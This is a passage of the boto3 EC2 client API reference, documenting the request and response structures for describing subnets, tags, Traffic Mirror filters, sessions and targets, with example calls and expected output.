return, the string is empty. + + * **StaleSecurityGroupSet** _(list) --_ + + Information about the stale security groups. + + * _(dict) --_ + + Describes a stale security group (a security group that contains stale rules). + + * **Description** _(string) --_ + + The description of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **StaleIpPermissions** _(list) --_ + + Information about the stale inbound rules in the security group. + + * _(dict) --_ + + Describes a stale rule in a security group. + + * **FromPort** _(integer) --_ + + The start of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + * **IpProtocol** _(string) --_ + + The IP protocol name (for tcp , udp , and icmp ) or number (see [Protocol Numbers)](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) . + + * **IpRanges** _(list) --_ + + The IP ranges. Not applicable for stale security group rules. + + * _(string) --_ + * **PrefixListIds** _(list) --_ + + The prefix list IDs. Not applicable for stale security group rules. + + * _(string) --_ + * **ToPort** _(integer) --_ + + The end of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + * **UserIdGroupPairs** _(list) --_ + + The security group pairs. Returns the ID of the referenced security group and VPC, and the ID and status of the VPC peering connection. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + * **StaleIpPermissionsEgress** _(list) --_ + + Information about the stale outbound rules in the security group. + + * _(dict) --_ + + Describes a stale rule in a security group. + + * **FromPort** _(integer) --_ + + The start of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + * **IpProtocol** _(string) --_ + + The IP protocol name (for tcp , udp , and icmp ) or number (see [Protocol Numbers)](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) . + + * **IpRanges** _(list) --_ + + The IP ranges. Not applicable for stale security group rules. + + * _(string) --_ + * **PrefixListIds** _(list) --_ + + The prefix list IDs. Not applicable for stale security group rules. + + * _(string) --_ + * **ToPort** _(integer) --_ + + The end of the port range for the TCP and UDP protocols, or an ICMP type number. A value of -1 indicates all ICMP types. + + * **UserIdGroupPairs** _(list) --_ + + The security group pairs. Returns the ID of the referenced security group and VPC, and the ID and status of the VPC peering connection. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + * **VpcId** _(string) --_ + + The ID of the VPC for the security group. + + +describe_subnets(kwargs_) + +Describes one or more of your subnets. + +For more information, see [Your VPC and Subnets](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Subnets.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSubnets) + +**Request Syntax** + +response = client.describe_subnets( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + SubnetIds=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * availability-zone - The Availability Zone for the subnet. You can also use availabilityZone as the filter name. + * availability-zone-id - The ID of the Availability Zone for the subnet. You can also use availabilityZoneId as the filter name. + * available-ip-address-count - The number of IPv4 addresses in the subnet that are available. + * cidr-block - The IPv4 CIDR block of the subnet. The CIDR block you specify must exactly match the subnet's CIDR block for information to be returned for the subnet. You can also use cidr or cidrBlock as the filter names. + * default-for-az - Indicates whether this is the default subnet for the Availability Zone. You can also use defaultForAz as the filter name. + * ipv6-cidr-block-association.ipv6-cidr-block - An IPv6 CIDR block associated with the subnet. + * ipv6-cidr-block-association.association-id - An association ID for an IPv6 CIDR block associated with the subnet. + * ipv6-cidr-block-association.state - The state of an IPv6 CIDR block associated with the subnet. + * owner-id - The ID of the AWS account that owns the subnet. + * state - The state of the subnet (pending | available ). + * subnet-arn - The Amazon Resource Name (ARN) of the subnet. + * subnet-id - The ID of the subnet. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC for the subnet. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **SubnetIds** (_list_) -- + + One or more subnet IDs. + + Default: Describes all your subnets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Subnets': [ + { + 'AvailabilityZone': 'string', + 'AvailabilityZoneId': 'string', + 'AvailableIpAddressCount': 123, + 'CidrBlock': 'string', + 'DefaultForAz': True|False, + 'MapPublicIpOnLaunch': True|False, + 'MapCustomerOwnedIpOnLaunch': True|False, + 'CustomerOwnedIpv4Pool': 'string', + 'State': 'pending'|'available', + 'SubnetId': 'string', + 'VpcId': 'string', + 'OwnerId': 'string', + 'AssignIpv6AddressOnCreation': True|False, + 'Ipv6CidrBlockAssociationSet': [ + { + 'AssociationId': 'string', + 'Ipv6CidrBlock': 'string', + 'Ipv6CidrBlockState': { + 'State': 'associating'|'associated'|'disassociating'|'disassociated'|'failing'|'failed', + 'StatusMessage': 'string' + } + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SubnetArn': 'string', + 'OutpostArn': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Subnets** _(list) --_ + + Information about one or more subnets. + + * _(dict) --_ + + Describes a subnet. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the subnet. + + * **AvailabilityZoneId** _(string) --_ + + The AZ ID of the subnet. + + * **AvailableIpAddressCount** _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + * **DefaultForAz** _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + * **MapPublicIpOnLaunch** _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + * **MapCustomerOwnedIpOnLaunch** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + * **CustomerOwnedIpv4Pool** _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + * **State** _(string) --_ + + The current state of the subnet. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **VpcId** _(string) --_ + + The ID of the VPC the subnet is in. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the subnet. + + * **AssignIpv6AddressOnCreation** _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + * **Ipv6CidrBlockAssociationSet** _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) --_ + + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) --_ + + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) --_ + + Information about the state of the CIDR block. + + * **State** _(string) --_ + + The state of a CIDR block. + + * **StatusMessage** _(string) --_ + + A message about the status of the CIDR block, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **SubnetArn** _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the subnets for the specified VPC. + +response = client.describe_subnets( + Filters=[ + { + 'Name': 'vpc-id', + 'Values': [ + 'vpc-a01106c2', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'Subnets': [ + { + 'AvailabilityZone': 'us-east-1c', + 'AvailableIpAddressCount': 251, + 'CidrBlock': '10.0.1.0/24', + 'DefaultForAz': False, + 'MapPublicIpOnLaunch': False, + 'State': 'available', + 'SubnetId': 'subnet-9d4a7b6c', + 'VpcId': 'vpc-a01106c2', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_tags(kwargs_) + +Describes the specified tags for your EC2 resources. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTags) + +**Request Syntax** + +response = client.describe_tags( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * key - The tag key. + * resource-id - The ID of the resource. + * resource-type - The resource type (customer-gateway | dedicated-host | dhcp-options | elastic-ip | fleet | fpga-image | host-reservation | image | instance | internet-gateway | key-pair | launch-template | natgateway | network-acl | network-interface | placement-group | reserved-instances | route-table | security-group | snapshot | spot-instances-request | subnet | volume | vpc | vpc-endpoint | vpc-endpoint-service | vpc-peering-connection | vpn-connection | vpn-gateway ). + * tag : - The key/value combination of the tag. For example, specify "[tag:Owner](tag:Owner)" for the filter name and "TeamA" for the filter value to find resources with the tag "Owner=TeamA". + * value - The tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. This value can be between 5 and 1000. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'Tags': [ + { + 'Key': 'string', + 'ResourceId': 'string', + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Value': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **Tags** _(list) --_ + + The tags. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The tag key. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. + + * **Value** _(string) --_ + + The tag value. + + +**Examples** + +This example describes the tags for the specified instance. + +response = client.describe_tags( + Filters=[ + { + 'Name': 'resource-id', + 'Values': [ + 'i-1234567890abcdef8', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'Tags': [ + { + 'Key': 'Stack', + 'ResourceId': 'i-1234567890abcdef8', + 'ResourceType': 'instance', + 'Value': 'test', + }, + { + 'Key': 'Name', + 'ResourceId': 'i-1234567890abcdef8', + 'ResourceType': 'instance', + 'Value': 'Beta Server', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_traffic_mirror_filters(kwargs_) + +Describes one or more Traffic Mirror filters. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorFilters) + +**Request Syntax** + +response = client.describe_traffic_mirror_filters( + TrafficMirrorFilterIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **TrafficMirrorFilterIds** (_list_) -- + + The ID of the Traffic Mirror filter. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * description : The Traffic Mirror filter description. + * traffic-mirror-filter-id : The ID of the Traffic Mirror filter. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorFilters': [ + { + 'TrafficMirrorFilterId': 'string', + 'IngressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'EgressFilterRules': [ + { + 'TrafficMirrorFilterRuleId': 'string', + 'TrafficMirrorFilterId': 'string', + 'TrafficDirection': 'ingress'|'egress', + 'RuleNumber': 123, + 'RuleAction': 'accept'|'reject', + 'Protocol': 123, + 'DestinationPortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'SourcePortRange': { + 'FromPort': 123, + 'ToPort': 123 + }, + 'DestinationCidrBlock': 'string', + 'SourceCidrBlock': 'string', + 'Description': 'string' + }, + ], + 'NetworkServices': [ + 'amazon-dns', + ], + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorFilters** _(list) --_ + + Information about one or more Traffic Mirror filters. + + * _(dict) --_ + + Describes the Traffic Mirror filter. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **IngressFilterRules** _(list) --_ + + Information about the ingress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **EgressFilterRules** _(list) --_ + + Information about the egress rules that are associated with the Traffic Mirror filter. + + * _(dict) --_ + + Describes the Traffic Mirror rule. + + * **TrafficMirrorFilterRuleId** _(string) --_ + + The ID of the Traffic Mirror rule. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter that the rule is associated with. + + * **TrafficDirection** _(string) --_ + + The traffic direction assigned to the Traffic Mirror rule. + + * **RuleNumber** _(integer) --_ + + The rule number of the Traffic Mirror rule. + + * **RuleAction** _(string) --_ + + The action assigned to the Traffic Mirror rule. + + * **Protocol** _(integer) --_ + + The protocol assigned to the Traffic Mirror rule. + + * **DestinationPortRange** _(dict) --_ + + The destination port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **SourcePortRange** _(dict) --_ + + The source port range assigned to the Traffic Mirror rule. + + * **FromPort** _(integer) --_ + + The start of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **ToPort** _(integer) --_ + + The end of the Traffic Mirror port range. This applies to the TCP and UDP protocols. + + * **DestinationCidrBlock** _(string) --_ + + The destination CIDR block assigned to the Traffic Mirror rule. + + * **SourceCidrBlock** _(string) --_ + + The source CIDR block assigned to the Traffic Mirror rule. + + * **Description** _(string) --_ + + The description of the Traffic Mirror rule. + + * **NetworkServices** _(list) --_ + + The network service traffic that is associated with the Traffic Mirror filter. + + * _(string) --_ + * **Description** _(string) --_ + + The description of the Traffic Mirror filter. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror filter. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. The value is null when there are no more results to return. + + +describe_traffic_mirror_sessions(kwargs_) + +Describes one or more Traffic Mirror sessions. By default, all Traffic Mirror sessions are described. Alternatively, you can filter the results. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorSessions) + +**Request Syntax** + +response = client.describe_traffic_mirror_sessions( + TrafficMirrorSessionIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **TrafficMirrorSessionIds** (_list_) -- + + The ID of the Traffic Mirror session. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * description : The Traffic Mirror session description. + * network-interface-id : The ID of the Traffic Mirror session network interface. + * owner-id : The ID of the account that owns the Traffic Mirror session. + * packet-length : The assigned number of packets to mirror. + * session-number : The assigned session number. + * traffic-mirror-filter-id : The ID of the Traffic Mirror filter. + * traffic-mirror-session-id : The ID of the Traffic Mirror session. + * traffic-mirror-target-id : The ID of the Traffic Mirror target. + * virtual-network-id : The virtual network ID of the Traffic Mirror session. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorSessions': [ + { + 'TrafficMirrorSessionId': 'string', + 'TrafficMirrorTargetId': 'string', + 'TrafficMirrorFilterId': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PacketLength': 123, + 'SessionNumber': 123, + 'VirtualNetworkId': 123, + 'Description': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorSessions** _(list) --_ + + Describes one or more Traffic Mirror sessions. By default, all Traffic Mirror sessions are described. Alternatively, you can filter the results. + + * _(dict) --_ + + Describes a Traffic Mirror session. + + * **TrafficMirrorSessionId** _(string) --_ + + The ID for the Traffic Mirror session. + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + * **TrafficMirrorFilterId** _(string) --_ + + The ID of the Traffic Mirror filter. + + * **NetworkInterfaceId** _(string) --_ + + The ID of the Traffic Mirror session's network interface. + + * **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror session. + + * **PacketLength** _(integer) --_ + + The number of bytes in each packet to mirror. These are the bytes after the VXLAN header. To mirror a subset, set this to the length (in bytes) to mirror. For example, if you set this value to 100, then the first 100 bytes that meet the filter criteria are copied to the target. Do not specify this parameter when you want to mirror the entire packet + + * **SessionNumber** _(integer) --_ + + The session number determines the order in which sessions are evaluated when an interface is used by multiple sessions. The first session with a matching filter is the one that mirrors the packets. + + Valid values are 1-32766. + + * **VirtualNetworkId** _(integer) --_ + + The virtual network ID associated with the Traffic Mirror session. + + * **Description** _(string) --_ + + The description of the Traffic Mirror session. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror session. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. The value is null when there are no more results to return. + + +describe_traffic_mirror_targets(kwargs_) + +Information about one or more Traffic Mirror targets. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTrafficMirrorTargets) + +**Request Syntax** + +response = client.describe_traffic_mirror_targets( + TrafficMirrorTargetIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **TrafficMirrorTargetIds** (_list_) -- + + The ID of the Traffic Mirror targets. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * description : The Traffic Mirror target description. + * network-interface-id : The ID of the Traffic Mirror session network interface. + * network-load-balancer-arn : The Amazon Resource Name (ARN) of the Network Load Balancer that is associated with the session. + * owner-id : The ID of the account that owns the Traffic Mirror session. + * traffic-mirror-target-id : The ID of the Traffic Mirror target. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TrafficMirrorTargets': [ + { + 'TrafficMirrorTargetId': 'string', + 'NetworkInterfaceId': 'string', + 'NetworkLoadBalancerArn': 'string', + 'Type': 'network-interface'|'network-load-balancer', + 'Description': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TrafficMirrorTargets** _(list) --_ + + Information about one or more Traffic Mirror targets. + + * _(dict) --_ + + Describes a Traffic Mirror target. + + * **TrafficMirrorTargetId** _(string) --_ + + The ID of the Traffic Mirror target. + + * **NetworkInterfaceId** _(string) --_ + + The network interface ID that is attached to the target. + + * **NetworkLoadBalancerArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Network Load Balancer. + + * **Type** _(string) --_ + + The type of Traffic Mirror target. + + * **Description** _(string) --_ + + Information about the Traffic Mirror target. + + * **OwnerId** _(string) --_ + + The ID of the account that owns the Traffic Mirror target. + + * **Tags** _(list) --_ + + The tags assigned to the Traffic Mirror target. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. The value is null when there are no more results to return. + + +describe_transit_gateway_attachments(kwargs_) + +Describes one or more attachments between resources and transit gateways. By default, all attachments are described. Alternatively, you can filter the results by attachment ID, attachment state, resource ID, or resource owner. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeTransitGatewayAttachments) + +**Request Syntax** + +response = client.describe_transit_gateway_attachments( + TransitGatewayAttachmentIds=[ + 'string', + ], + 